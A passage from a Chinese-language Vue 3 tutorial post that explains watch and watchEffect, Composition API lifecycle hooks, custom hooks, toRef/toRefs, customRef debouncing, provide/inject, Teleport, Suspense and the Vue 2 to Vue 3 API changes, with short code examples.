	console.log('sum变化了',newValue,oldValue)
},{immediate:true})

//情况二:监视多个ref定义的响应式数据
watch([sum,msg],(newValue,oldValue)=>{
	console.log('sum或msg变化了',newValue,oldValue)
}) 

/* 情况三:监视reactive定义的响应式数据
	 若watch监视的是reactive定义的响应式数据,则无法正确获得oldValue!!
	 若watch监视的是reactive定义的响应式数据,则强制开启了深度监视 
*/
watch(person,(newValue,oldValue)=>{
	console.log('person变化了',newValue,oldValue)
},{immediate:true,deep:false}) //此处的deep配置不再奏效

//情况四:监视reactive定义的响应式数据中的某个属性
watch(()=>person.job,(newValue,oldValue)=>{
	console.log('person的job变化了',newValue,oldValue)
},{immediate:true,deep:true}) 

//情况五:监视reactive定义的响应式数据中的某些属性
watch([()=>person.job,()=>person.name],(newValue,oldValue)=>{
	console.log('person的job变化了',newValue,oldValue)
},{immediate:true,deep:true})

//特殊情况
watch(()=>person.job,(newValue,oldValue)=>{
    console.log('person的job变化了',newValue,oldValue)
},{deep:true}) //此处由于监视的是reactive所定义的对象中的某个对象属性,所以deep配置有效
----------------------------------------------------------------------------------
//watch中value的问题
let person = ref({
  name:'张三',
  age:18,
  job:{
    salary:20
  }
})
//监视一个ref定义的属性,value将直接获得其中的值,所以不需要添加
watch(sum,(newValue,oldValue)=>{
  console.log('sum的值变化了',newValue,oldValue)
})
//监视一个ref定义的通过reactive进行代理的对象属性,通过value来读取到Proxy
watch(person.value,(newValue,oldValue)=>{
  console.log('person的值变化了',newValue,oldValue)
})
//监视一个ref定义的通过reactive进行代理的对象属性,通过deep深度监视来读取到Proxy
watch(person,(newValue,oldValue)=>{
  console.log('person的值变化了',newValue,oldValue)
},{deep:true})

watchEffect函数

  • watch的套路是:既要指明监视的属性,也要指明监视的回调
  • watchEffect的套路是:不用指明监视哪个属性,监视的回调中用到哪个属性,那就监视哪个属性
  • watchEffect有点像computed:
    • 但computed注重的计算出来的值(回调函数的返回值),所以必须要写返回值
    • 而watchEffect更注重的是过程(回调函数的函数体),所以不用写返回值
//watchEffect所指定的回调中用到的数据只要发生变化,则直接重新执行回调。
watchEffect(()=>{
    const x1 = sum.value
    const x2 = person.age
    console.log('watchEffect配置的回调执行了')
})

生命周期

image.png

  • Vue3.0中可以继续使用Vue2.x中的生命周期钩子,但有有两个被更名:
    • beforeDestroy改名为beforeUnmount
    • destroyed改名为unmounted
  • Vue3.0也提供了 Composition API 形式的生命周期钩子,与Vue2.x中钩子对应关系如下:
    • beforeCreate===> setup()
    • created=======>setup()
    • beforeMount ===> onBeforeMount
    • mounted=======>onMounted
    • beforeUpdate===> onBeforeUpdate
    • updated =======>onUpdated
    • beforeUnmount ==> onBeforeUnmount
    • unmounted =====> onUnmounted

自定义hook函数

  • 什么是hook?—— 本质是一个函数,把setup函数中使用的Composition API进行了封装
  • 类似于vue2.x中的mixin
  • 自定义hook的优势:复用代码,让setup中的逻辑更清楚易懂
import {reactive,onMounted,onBeforeUnmount} from 'vue'
export default function (){
	//实现鼠标“打点”相关的数据
	let point = reactive({
		x:0,
		y:0
	})

	//实现鼠标“打点”相关的方法
	function savePoint(event){
		point.x = event.pageX
		point.y = event.pageY
		console.log(event.pageX,event.pageY)
	}

	//实现鼠标“打点”相关的生命周期钩子
	onMounted(()=>{
		window.addEventListener('click',savePoint)
	})
	onBeforeUnmount(()=>{
		window.removeEventListener('click',savePoint)
	})
  
	//一定要将值进行返回
	return point
}
<template>
  <h2>当前求和为:{{sum}}</h2>
  <button @click="sum++">点我+1</button>
  <hr>
    <h2>当前点击时鼠标的坐标为:x:{{point.x}},y:{{point.y}}</h2>
  </template>

<script>
  import {ref} from 'vue'
  //引入hook实现代码的复用
  import usePoint from '../hooks/usePoint'
  export default {
    name: 'Demo',
    setup(){
      //数据
      let sum = ref(0)
      let point = usePoint()
      //返回一个对象(常用)
      return {sum,point}
    }
  }
</script>

toRef

  • 作用:创建一个 ref 对象,其value值指向另一个对象中的某个属性
  • 语法:const name = toRef(person,'name')
  • 应用:   要将响应式对象中的某个属性单独提供给外部使用时
  • 扩展:toRefstoRef功能一致,但可以批量创建多个 ref 对象,语法:toRefs(person)
<template>
  <h4>{{person}}</h4>
  <h2>姓名:{{name}}</h2>
  <h2>年龄:{{age}}</h2>
  <h2>薪资:{{job.j1.salary}}K</h2>
  <button @click="name+='~'">修改姓名</button>
  <button @click="age++">增长年龄</button>
  <button @click="job.j1.salary++">涨薪</button>
</template>

<script>
  import {ref,reactive,toRef,toRefs} from 'vue'
  export default {
    name: 'Demo',
    setup(){
      //数据
      let person = reactive({
        name:'张三',
        age:18,
        job:{
          j1:{
            salary:20
          }
        }
      })
      //返回一个对象(常用)
      return {
        person,
        //利用toRef将person中的部分属性转为ref对象进行引用
        name:toRef(person,'name'),
        age:toRef(person,'age'),
        salary:toRef(person.job.j1,'salary'),
        //利用toRefs将person中的全部属性转为ref对象进行引用,再利用展开运算符...进行展开
        ...toRefs(person)
      }
    }
  }
</script>

其他 Composition API

shallowReactive 与 shallowRef

  • shallowReactive:只处理对象最外层属性的响应式(浅响应式)
  • shallowRef:只处理基本数据类型的响应式,不进行对象的响应式处理
  • 什么时候使用?
    • 如果有一个对象数据,结构比较深,但变化时只是外层属性变化 ===>shallowReactive
    • 如果有一个对象数据,后续功能不会修改该对象中的属性,而是生新的对象来替换 ===>shallowRef

readonly 与 shallowReadonly

  • readonly:让一个响应式数据变为只读的(深只读)
  • shallowReadonly:让一个响应式数据变为只读的(浅只读)
  • 应用场景: 不希望数据被修改时
  • const p = readonly(person)``const p = shallowReadonly(person)

toRaw 与 markRaw

  • toRaw:
    • 作用:将一个由reactive生成的响应式对象转为普通对象
    • 使用场景:用于读取响应式对象对应的普通对象,对这个普通对象的所有操作,不会引起页面更新
  • markRaw:
    • 作用:标记一个对象,使其永远不会再成为响应式对象
    • 应用场景:
      1. 有些值不应被设置为响应式的,例如复杂的第三方类库等
      2. 当渲染具有不可变数据源的大列表时,跳过响应式转换可以提高性能
  • const p = toRaw(person)``person.car = markRaw(car)

customRef

  • 作用:创建一个自定义的 ref,并对其依赖项跟踪和更新触发进行显式控制。
  • 实现防抖效果:
<template>
  <input type="text" v-model="keyword">
    <h3>{{keyword}}</h3>
  </template>

<script>
  import {ref,customRef} from 'vue'
  export default {
    name:'Demo',
    setup(){
      //使用Vue准备好的内置ref
      // let keyword = ref('hello') 
      //自定义一个myRef
      function myRef(value,delay){
        let timer
        //通过customRef去实现自定义
        return customRef((track,trigger)=>{
          return{
            get(){
              track() //告诉Vue这个value值是需要被“追踪”的
              return value
            },
            set(newValue){
              //通过clearTimeout实现防抖
              clearTimeout(timer)
              timer = setTimeout(()=>{
                value = newValue
                trigger() //告诉Vue去重新解析模板
              },delay)
            }
          }
        })
      }
      let keyword = myRef('hello',500) //使用程序员自定义的ref
      return {
        keyword
      }
    }
  }
</script>

provide 与 inject

  • 作用:实现祖与后代组件间通信
  • 套路:父组件有一个 provide 选项来提供数据,后代组件有一个 inject 选项来开始使用这些数据
  • 具体写法:
    1. 祖组件中:
setup(){
  ......
  let car = reactive({name:'奔驰',price:'40万'})
  provide('car',car)
  ......
}
  1. 后代组件中:
setup(){
  ......
  const car = inject('car')
  return {car}
  ......
}

响应式数据的判断

  • isRef:检查一个值是否为一个 ref 对象
  • isReactive:检查一个对象是否是由reactive创建的响应式代理
  • isReadonly:检查一个对象是否是由readonly创建的只读代理
  • isProxy:检查一个对象是否是由reactive或者readonly方法创建的代理

Composition API 的优势

Options API 存在的问题

  • 使用传统OptionsAPI中,新增或者修改一个需求,就需要分别在data,methods,computed里修改

image.pngimage.png

Composition API 的优势

  • 我们可以更加优雅的组织我们的代码,函数。让相关功能的代码更加有序的组织在一起

image.png

新的组件

Fragment

  • 在Vue2中:组件必须有一个根标签
  • 在Vue3中:组件可以没有根标签,内部会将多个标签包含在一个Fragment虚拟元素中
  • 好处:减少标签层级,减小内存占用

Teleport

  • 什么是Teleport?—— Teleport 是一种能够将我们的组件html结构移动到指定位置的技术
<teleport to="移动位置">
  <div v-if="isShow" class="mask">
    <div class="dialog">
        <h3>我是一个弹窗</h3>
        <button @click="isShow = false">关闭弹窗</button>
    </div>
  </div>
</teleport>

Suspense

  • 等待异步组件时渲染一些额外内容,让应用有更好的用户体验
  • 使用步骤:
    • 异步引入组件
import {defineAsyncComponent} from 'vue'
const Child = defineAsyncComponent(()=>import('./components/Child.vue'))
  • 使用Suspense包裹组件,并配置好defaultfallback
<template>
	<div class="app">
		<h3>我是App组件</h3>
		<Suspense>
			<template v-slot:default>
				<Child/>
			</template>
			<template v-slot:fallback>
				<h3>加载中.....</h3>
			</template>
		</Suspense>
	</div>
</template>

其他

全局API的转移

  • Vue 2.x 有许多全局 API 和配置。
    • 例如:注册全局组件、注册全局指令等
//注册全局组件
Vue.component('MyButton', {
  data: () => ({
    count: 0
  }),
  template: '<button @click="count++">Clicked {{ count }} times.</button>'
})

//注册全局指令
Vue.directive('focus', {
  inserted: el => el.focus()
}
  • Vue3.0中对这些API做出了调整:
    • 将全局的API,即:Vue.xxx调整到应用实例(app)上
      | 2.x 全局 API(Vue) | 3.x 实例 API (app) |
      | — | — |
      | Vue.config.xxxx | app.config.xxxx |
      | Vue.config.productionTip | 移除 |
      | Vue.component | app.component |
      | Vue.directive | app.directive |
      | Vue.mixin | app.mixin |
      | Vue.use | app.use |
      | Vue.prototype | app.config.globalProperties |

其他改变

  • data选项应始终被声明为一个函数
  • 过度类名的更改:
    • Vue2.x写法
.v-enter,
.v-leave-to {
  opacity: 0;
}
.v-leave,
.v-enter-to {
  opacity: 1;
}
  • Vue3.x写法
.v-enter-from,
.v-leave-to {
  opacity: 0;
}

.v-leave-from,
.v-enter-to {
  opacity: 1;
}
  • 移除keyCode作为 v-on 的修饰符,同时也不再支持config.keyCodes
  • 移除v-on.native修饰符
    • 父组件中绑定事件
<my-component
  v-on:close="handleComponentEvent"
  v-on:click="handleNativeClickEvent"
/>
  • 子组件中声明自定义事件
<script>
  export default {
    emits: ['close']
  }
</script>
  • 移除过滤器(filter)

过滤器虽然这看起来很方便,但它需要一个自定义语法,打破大括号内表达式是 “只是 JavaScript” 的假设,这不仅有学习成本,而且有实现成本!建议用方法调用或计算属性去替换过滤器。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值